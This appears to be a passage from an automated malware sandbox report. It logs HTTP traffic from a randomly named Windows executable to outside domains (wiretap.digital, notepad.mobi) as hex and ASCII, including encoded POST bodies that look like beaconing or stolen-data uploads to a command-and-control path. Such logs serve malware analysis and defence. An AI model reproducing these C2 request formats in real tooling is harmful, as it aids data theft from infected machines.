65 6c 65 53 69 4c 72 6d 56 71 55 71 63 49 48 44 77 78 65 52 2b 52 72 6f 79 4b 45 4a 75 4c 62 45 55 63 61 6f 59 2b 39 39 45 4c 53 5a 6c 37 50 61 57 4f 51 34 49 6b 75 39 53 51 2b 73 36 46 44 70 46 6d 30 42 63 51 69 65 78 39 39 36 35 43 42 6d 34 58 32 48 75 76 57 31 32 63 72 76 47 52 6d 71 54 74 4f 6f 4a 35 31 50 32 68 63 43 57 6a 6a 73 50 66 4f 6f 34 36 32 54 6a 69 35 41 46 53 62 54 58 32 48 6a 66 62 2f 49 46 39 2f 5a 33 4d 48 59 38 72 59 68 30 78 45 36 44 2f 61 69 6d 32 76 35 4e 6e 53 6e [TRUNCATED] Data Ascii: 6v1=KdvXc2LXEYidzJ6BQZRjv6PKH42xdHKfvJjqFyffaWvTTZfvMwpJlciWEsMacZRDS93SLQ+52hSdbSMbWMf5/6APFtW5+g6SHTwMiNP0cpDsyXlQIFj74DAet5EW1KUFhAOw05cQMZthEpcezh+IbtFx4Lx+3DsmHPUv4q/ej8eleSiLrmVqUqcIHDwxeR+RroyKEJuLbEUcaoY+99ELSZl7PaWOQ4Iku9SQ+s6FDpFm0BcQiex9965CBm4X2HuvW12crvGRmqTtOoJ51P2hcCWjjsPfOo462Tji5AFSbTX2Hjfb/IF9/Z3MHY8rYh0xE6D/aim2v5NnSnpSyWS/DSdBW2G2G3SLnSr35IHxxUkFEl+kqhQU36As5OWxrlgEMq1MFj2Ln6RARf49WMeUNwvlZmnzyGBfv4qHVe48o8Ykz/gnJk+SIuSG4MwOhzojKzSFHPWET9TdKp2mZNz0w8QOhHU4tkDbLVnQWFDxwp3/RoMpvJMJ/v2O+YEJH59gyeMWQXubesboyvFhEsCjOoRgCHfxIW1Ole+LzqH7P3c57R65WwB2d76rr9mtlIJHlMYawwWp1ZBdr9ELuFowLbKGce/WK9ZmBvGQKJv4Vx2UHFjtITsFTKOct108ORQ4qi3XgZ9Zsy/kRDAR71Xt8Gz9/hWHgdULoDLBwsGCIxV0
Oct 8, 2024 15:25:06.043598890 CEST	1289	OUT	Data Raw: 51 2b 31 4c 72 55 62 6d 2f 64 71 45 54 61 7a 4e 32 78 76 43 4c 36 30 70 63 37 61 55 58 59 45 67 52 79 65 38 50 6b 37 5a 4f 69 61 70 33 36 31 54 4d 44 6e 49 58 70 6b 49 68 66 6d 73 66 4a 6d 77 36 34 7a 4b 50 5a 65 78 48 35 35 6e 4a 70 31 7a 53 43 Data Ascii: Q+1LrUbm/dqETazN2xvCL60pc7aUXYEgRye8Pk7ZOiap361TMDnIXpkIhfmsfJmw64zKPZexH55nJp1zSC2qZbQt6uvscYvy/035vY2UaFROs5lVYDudPem071tVVbqHUmRvkdQwaHwrZoQYWJsyIYdaL2jTcoXcfMrxgHLIlkKKqTx56eEw6IjvS284qFe5aDfVd4B4nOFO/s4eyZSv0Tdj6A2aBYhVkSpYVKFPB3s5v61euxD
Oct 8, 2024 15:25:06.043648958 CEST	5156	OUT	Data Raw: 56 6c 55 5a 6f 77 51 6d 6f 39 64 73 55 68 67 46 73 53 57 4f 4d 75 4e 30 39 71 6a 69 54 73 57 68 44 41 43 76 43 78 39 63 35 4c 4c 59 34 49 4a 72 69 71 47 64 39 64 7a 39 34 4f 70 67 63 43 65 34 65 50 59 39 6d 41 7a 47 31 45 38 67 71 38 70 51 69 67 Data Ascii: VlUZowQmo9dsUhgFsSWOMuN09qjiTsWhDACvCx9c5LLY4IJriqGd9dz94OpgcCe4ePY9mAzG1E8gq8pQigzdGgOGQP+cQ3TQ1eL/NmCFhu4xOMRb3x6gDBP6w18OpaVBzfvQSGevNThi1beWq9zZJjUUAZiMHqlULg/77el7ChBRFk1u0Zf68/0YX3mnjSHK3XKqVX+zadTW9XwUhBrBCLPfEmr3IRM7wRJ3JVprf2uleVRBXk/
Oct 8, 2024 15:25:06.043817997 CEST	235	OUT	Data Raw: 38 4a 61 64 47 69 6c 4a 50 79 48 55 79 31 53 55 58 79 6e 5a 68 51 30 4a 35 55 4b 70 64 34 51 32 72 52 2b 4c 65 76 77 47 56 33 67 6f 62 4b 64 7a 43 49 4b 38 4a 74 65 51 4e 77 47 57 51 72 4d 72 6d 45 58 57 67 73 6e 4a 4f 6b 77 51 42 53 36 49 4f 54 Data Ascii: 8JadGilJPyHUy1SUXynZhQ0J5UKpd4Q2rR+LevwGV3gobKdzCIK8JteQNwGWQrMrmEXWgsnJOkwQBS6IOTedDsBBNDoRxkSYMIEqZfW49vye0upmHl0RaBolh+Qte5kLsf5jPlNhPHiMVD0YlHsaJrx3AelkjVgtLyH2j7YS5LoUPzQpOMQ1VRyk7boG9/lUt19S8PxmVOTy5kufXOBxvJjhFQ7OT1o7BMS2n73HQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.11.20	49791	3.33.130.190	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:25:08.682029009 CEST	533	OUT	GET /eytd/?6v1=HfH3fAnfKZGF/amZMLxCjpfWCoile0ydxd3oAy6RYTP1PcCmQRMTgtKdHdRNZvI4e9+yTQ2W+3b/bCc+d8XewNEOJ/eayw6MMSxss8GOZI7n5HB8MD6QiAc=&dX7=sns4Fhmpql HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.wiretap.digital Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Oct 8, 2024 15:25:08.785634041 CEST	394	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 08 Oct 2024 13:25:08 GMT Content-Type: text/html Content-Length: 254 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 36 76 31 3d 48 66 48 33 66 41 6e 66 4b 5a 47 46 2f 61 6d 5a 4d 4c 78 43 6a 70 66 57 43 6f 69 6c 65 30 79 64 78 64 33 6f 41 79 36 52 59 54 50 31 50 63 43 6d 51 52 4d 54 67 74 4b 64 48 64 52 4e 5a 76 49 34 65 39 2b 79 54 51 32 57 2b 33 62 2f 62 43 63 2b 64 38 58 65 77 4e 45 4f 4a 2f 65 61 79 77 36 4d 4d 53 78 73 73 38 47 4f 5a 49 37 6e 35 48 42 38 4d 44 36 51 69 41 63 3d 26 64 58 37 3d 73 6e 73 34 46 68 6d 70 71 6c 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?6v1=HfH3fAnfKZGF/amZMLxCjpfWCoile0ydxd3oAy6RYTP1PcCmQRMTgtKdHdRNZvI4e9+yTQ2W+3b/bCc+d8XewNEOJ/eayw6MMSxss8GOZI7n5HB8MD6QiAc=&dX7=sns4Fhmpql"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.11.20	49792	199.59.243.227	80

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:25:14.023888111 CEST	791	OUT	POST /42yt/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.notepad.mobi Origin: http://www.notepad.mobi Referer: http://www.notepad.mobi/42yt/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 200 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 71 33 62 4f 6e 47 39 31 47 47 75 67 49 6e 6d 51 77 47 6f 49 62 35 55 4a 57 49 4e 64 4c 4c 72 55 55 56 37 4d 41 50 52 36 6d 4d 51 78 54 4b 66 6b 34 6f 78 73 52 69 72 51 30 7a 38 49 77 32 43 47 35 33 4f 68 6d 66 4b 6a 69 74 64 68 46 67 32 6b 73 7a 65 49 4b 56 54 4d 47 6c 48 39 76 36 63 7a 76 55 51 58 77 32 4d 64 41 44 32 69 34 49 46 76 32 50 6c 43 52 70 55 38 4f 43 71 79 72 7a 43 62 43 57 30 38 37 50 36 52 72 79 67 39 4b 63 42 58 59 7a 4f 4b 65 6b 70 6d 6b 74 6c 72 30 79 4f 55 56 4e 50 66 75 44 71 36 74 4a 76 31 65 77 42 61 4f 58 33 4a 33 70 39 2b 2b 70 53 4c 48 44 42 67 4b 67 3d 3d Data Ascii: 6v1=q3bOnG91GGugInmQwGoIb5UJWINdLLrUUV7MAPR6mMQxTKfk4oxsRirQ0z8Iw2CG53OhmfKjitdhFg2kszeIKVTMGlH9v6czvUQXw2MdAD2i4IFv2PlCRpU8OCqyrzCbCW087P6Rryg9KcBXYzOKekpmktlr0yOUVNPfuDq6tJv1ewBaOX3J3p9++pSLHDBgKg==
Oct 8, 2024 15:25:14.125710964 CEST	1289	IN	HTTP/1.1 200 OK date: Tue, 08 Oct 2024 13:25:13 GMT content-type: text/html; charset=utf-8 content-length: 1118 x-request-id: c3ac2eae-d9ba-40f5-aafa-3a8f90f1b31c cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_xS/FfQR7gbb+W2HW86w+tCw7/dXnsGl/YluZ7+LNCY4RBtIu77vOkp4uNzYhbrPkofWVF4aFXMxwlyF96s0ljQ== set-cookie: parking_session=c3ac2eae-d9ba-40f5-aafa-3a8f90f1b31c; expires=Tue, 08 Oct 2024 13:40:14 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 78 53 2f 46 66 51 52 37 67 62 62 2b 57 32 48 57 38 36 77 2b 74 43 77 37 2f 64 58 6e 73 47 6c 2f 59 6c 75 5a 37 2b 4c 4e 43 59 34 52 42 74 49 75 37 37 76 4f 6b 70 34 75 4e 7a 59 68 62 72 50 6b 6f 66 57 56 46 34 61 46 58 4d 78 77 6c 79 46 39 36 73 30 6c 6a 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_xS/FfQR7gbb+W2HW86w+tCw7/dXnsGl/YluZ7+LNCY4RBtIu77vOkp4uNzYhbrPkofWVF4aFXMxwlyF96s0ljQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect" href="https://www.google
Oct 8, 2024 15:25:14.125725985 CEST	518	IN	Data Raw: 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 22 20 73 74 79 6c 65 3d 22 6f 70 61 63 69 74 79 3a 20 30 22 3e 3c 2f 64 69 76 3e 0a 3c 73 63 72 69 Data Ascii: .com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYzNhYzJlYWUtZDliYS00MGY1LWFhZmEtM2E4ZjkwZjFiMzFjIiwicGFnZV90aW1lIjoxNzI4MzkzOTE0LCJwYWdlX3VybCI6Imh0dHA6Ly93d3cubm90ZXBhZC5tb2JpLzQ

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.11.20	49793	199.59.243.227	80

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:25:16.645359039 CEST	811	OUT	POST /42yt/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.notepad.mobi Origin: http://www.notepad.mobi Referer: http://www.notepad.mobi/42yt/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 220 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 71 33 62 4f 6e 47 39 31 47 47 75 67 49 47 32 51 31 6c 41 49 4f 4a 55 47 61 6f 4e 64 41 72 72 75 55 55 48 4d 41 4e 39 55 6d 2f 6b 78 55 72 44 6b 32 4a 78 73 42 79 72 51 2b 54 38 52 76 6d 43 4a 35 33 4b 44 6d 66 47 6a 69 74 4a 68 46 68 47 6b 74 41 32 4c 4c 46 54 4b 65 56 48 2f 67 61 63 7a 76 55 51 58 77 33 6f 6e 41 43 65 69 35 35 31 76 32 71 5a 46 63 4a 55 7a 4c 79 71 79 76 7a 43 66 43 57 31 54 37 4b 65 33 72 77 49 39 4b 65 5a 58 62 69 4f 4a 58 6b 6f 4d 35 64 6b 36 37 42 2f 59 55 70 2f 63 76 53 66 67 73 6f 65 4a 53 47 51 41 54 6c 44 74 30 36 68 4d 36 5a 72 6a 46 42 41 37 58 6f 51 31 43 4f 64 7a 70 43 54 6e 79 68 4d 4b 70 6d 77 73 50 58 6b 3d Data Ascii: 6v1=q3bOnG91GGugIG2Q1lAIOJUGaoNdArruUUHMAN9Um/kxUrDk2JxsByrQ+T8RvmCJ53KDmfGjitJhFhGktA2LLFTKeVH/gaczvUQXw3onACei551v2qZFcJUzLyqyvzCfCW1T7Ke3rwI9KeZXbiOJXkoM5dk67B/YUp/cvSfgsoeJSGQATlDt06hM6ZrjFBA7XoQ1COdzpCTnyhMKpmwsPXk=
Oct 8, 2024 15:25:16.747128010 CEST	1289	IN	HTTP/1.1 200 OK date: Tue, 08 Oct 2024 13:25:16 GMT content-type: text/html; charset=utf-8 content-length: 1118 x-request-id: 4fa09abe-11a9-46e5-aea6-020831b8a051 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_xS/FfQR7gbb+W2HW86w+tCw7/dXnsGl/YluZ7+LNCY4RBtIu77vOkp4uNzYhbrPkofWVF4aFXMxwlyF96s0ljQ== set-cookie: parking_session=4fa09abe-11a9-46e5-aea6-020831b8a051; expires=Tue, 08 Oct 2024 13:40:16 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 78 53 2f 46 66 51 52 37 67 62 62 2b 57 32 48 57 38 36 77 2b 74 43 77 37 2f 64 58 6e 73 47 6c 2f 59 6c 75 5a 37 2b 4c 4e 43 59 34 52 42 74 49 75 37 37 76 4f 6b 70 34 75 4e 7a 59 68 62 72 50 6b 6f 66 57 56 46 34 61 46 58 4d 78 77 6c 79 46 39 36 73 30 6c 6a 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_xS/FfQR7gbb+W2HW86w+tCw7/dXnsGl/YluZ7+LNCY4RBtIu77vOkp4uNzYhbrPkofWVF4aFXMxwlyF96s0ljQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect" href="https://www.google
Oct 8, 2024 15:25:16.747206926 CEST	518	IN	Data Raw: 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 22 20 73 74 79 6c 65 3d 22 6f 70 61 63 69 74 79 3a 20 30 22 3e 3c 2f 64 69 76 3e 0a 3c 73 63 72 69 Data Ascii: .com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNGZhMDlhYmUtMTFhOS00NmU1LWFlYTYtMDIwODMxYjhhMDUxIiwicGFnZV90aW1lIjoxNzI4MzkzOTE2LCJwYWdlX3VybCI6Imh0dHA6Ly93d3cubm90ZXBhZC5tb2JpLzQ

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.11.20	49794	199.59.243.227	80

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:25:19.274538994 CEST	1289	OUT	POST /42yt/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.notepad.mobi Origin: http://www.notepad.mobi Referer: http://www.notepad.mobi/42yt/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 7368 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 71 33 62 4f 6e 47 39 31 47 47 75 67 49 47 32 51 31 6c 41 49 4f 4a 55 47 61 6f 4e 64 41 72 72 75 55 55 48 4d 41 4e 39 55 6d 2b 63 78 55 5a 4c 6b 32 71 4a 73 54 69 72 51 67 44 38 55 76 6d 43 51 35 33 79 48 6d 66 61 7a 69 75 78 68 58 54 4f 6b 39 6c 4b 4c 46 46 54 4b 43 6c 48 79 76 36 63 6d 76 55 41 54 77 32 59 6e 41 43 65 69 35 36 64 76 30 2f 6c 46 65 4a 55 38 4f 43 71 2b 72 7a 43 33 43 58 64 70 37 4b 61 42 71 42 6f 39 4b 2b 4a 58 5a 51 32 4a 4c 30 6f 4f 36 64 6b 69 37 42 79 61 55 76 61 76 76 52 43 46 73 72 2b 4a 44 52 30 63 4c 48 62 67 6c 4a 64 54 79 71 79 59 4b 53 34 79 63 62 41 70 46 2f 35 47 6a 45 33 41 35 54 4a 47 37 48 78 6e 4f 44 42 47 4e 71 78 72 57 70 6c 35 44 31 61 76 6f 53 5a 47 57 53 6c 53 76 54 31 37 64 64 6e 70 4b 30 38 66 54 4d 43 4e 4a 61 75 5a 69 79 76 32 56 64 62 66 79 42 4a 43 7a 6c 64 46 6e 52 6c 73 66 43 59 31 57 4b 34 6e 61 4c 51 59 61 53 4f 77 6c 6b 35 36 6d 38 6a 55 2f 44 64 46 47 4a 45 75 51 53 4d 65 2b 6e 4b 51 4c 75 50 4f 67 38 63 79 6c 73 31 51 67 52 52 59 61 56 [TRUNCATED] Data Ascii: 6v1=q3bOnG91GGugIG2Q1lAIOJUGaoNdArruUUHMAN9Um+cxUZLk2qJsTirQgD8UvmCQ53yHmfaziuxhXTOk9lKLFFTKClHyv6cmvUATw2YnACei56dv0/lFeJU8OCq+rzC3CXdp7KaBqBo9K+JXZQ2JL0oO6dki7ByaUvavvRCFsr+JDR0cLHbglJdTyqyYKS4ycbApF/5GjE3A5TJG7HxnODBGNqxrWpl5D1avoSZGWSlSvT17ddnpK08fTMCNJauZiyv2VdbfyBJCzldFnRlsfCY1WK4naLQYaSOwlk56m8jU/DdFGJEuQSMe+nKQLuPOg8cyls1QgRRYaV1ZhtVRUJSsQEvjW1C/j+tPp1eZCFuXqqQgcINUuFASAwngB+J9K5Cmqn62fhQFAgm07pkomSHTH/smxTVawS5VdG/927jhzgeTwp/MEXL2gr0NgGafTU8G83WgtxFMBh69Sf0BvEIqqqpkaA4SJl8bE1W2bYV6E/4SNPqbprMUQT5Ref3+iW0583LpoOV3cZCKnzNGFlakY9v1U9x11obP+SPmUdn821jTUYX3/vc9D9BfJyt7p3PvpBqwvXpkLzMyvrmVuALPL1NFhPVyBtTmzuEuYBL89SlRfZq2LhiguZtnUlWvIuZUimekUt2NkMsfkOmztPnjM119S79RjhiLqFvxeJXmNLUGiQCZY
Oct 8, 2024 15:25:19.274611950 CEST	3867	OUT	Data Raw: 6f 4c 62 5a 51 4d 48 49 74 2b 39 4c 50 65 73 4b 57 42 72 75 70 43 77 30 51 2b 33 2b 46 47 37 2f 32 37 65 4f 79 6e 52 2b 41 34 4e 4a 43 4f 6f 66 66 75 61 78 66 79 42 6b 33 2b 4b 53 72 6a 46 70 37 52 33 36 78 4e 77 67 57 41 75 74 75 56 43 47 51 53 Data Ascii: oLbZQMHIt+9LPesKWBrupCw0Q+3+FG7/27eOynR+A4NJCOoffuaxfyBk3+KSrjFp7R36xNwgWAutuVCGQSF164bXS2cC8No+oqzTBHTu/xuc+U9BUVUP7zU1MhCCY7KlnvD+plqiyOFaWLZ0ojgWjEMz969ZJS+6WEZopskWCqoJSvWMH7hQ24h5V055g/a5GlA/3WMfSUXVuDMERyeI4OTCesa8wXhOXd0+ZjOTAMZ1g3xJfkT
Oct 8, 2024 15:25:19.274663925 CEST	2804	OUT	Data Raw: 6b 67 72 70 4e 52 34 72 59 6b 6a 65 34 5a 62 48 33 58 79 4d 5a 50 33 34 75 4c 65 55 55 68 34 75 41 78 61 49 4b 59 36 77 4a 46 34 70 6c 6b 61 76 7a 2f 6b 57 63 7a 5a 75 4c 4e 43 53 6f 4b 6a 70 63 4a 38 62 49 6f 35 31 71 2f 49 6a 55 38 68 4e 53 33 Data Ascii: kgrpNR4rYkje4ZbH3XyMZP34uLeUUh4uAxaIKY6wJF4plkavz/kWczZuLNCSoKjpcJ8bIo51q/IjU8hNS3AwvYSyoo6cER/C4vIHWM5LiKAgmBvAKryMB6KrJZKYh0j1T0H2DBO0Fu+P4x66rtZyiZqpS5CnwexFL7pM+lSNTfjjp0F58S75z8Hv6K9NrUB3XVHTCGYTClhzHGPt6zQQRapAdlsPTPrIDT11Rd/UB1+YRgxRh4X
Oct 8, 2024 15:25:19.376651049 CEST	1289	IN	HTTP/1.1 200 OK date: Tue, 08 Oct 2024 13:25:18 GMT content-type: text/html; charset=utf-8 content-length: 1118 x-request-id: bd2c4396-113d-49a7-af0a-db3b96b13844 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_xS/FfQR7gbb+W2HW86w+tCw7/dXnsGl/YluZ7+LNCY4RBtIu77vOkp4uNzYhbrPkofWVF4aFXMxwlyF96s0ljQ== set-cookie: parking_session=bd2c4396-113d-49a7-af0a-db3b96b13844; expires=Tue, 08 Oct 2024 13:40:19 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 78 53 2f 46 66 51 52 37 67 62 62 2b 57 32 48 57 38 36 77 2b 74 43 77 37 2f 64 58 6e 73 47 6c 2f 59 6c 75 5a 37 2b 4c 4e 43 59 34 52 42 74 49 75 37 37 76 4f 6b 70 34 75 4e 7a 59 68 62 72 50 6b 6f 66 57 56 46 34 61 46 58 4d 78 77 6c 79 46 39 36 73 30 6c 6a 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_xS/FfQR7gbb+W2HW86w+tCw7/dXnsGl/YluZ7+LNCY4RBtIu77vOkp4uNzYhbrPkofWVF4aFXMxwlyF96s0ljQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect" href="https://www.google
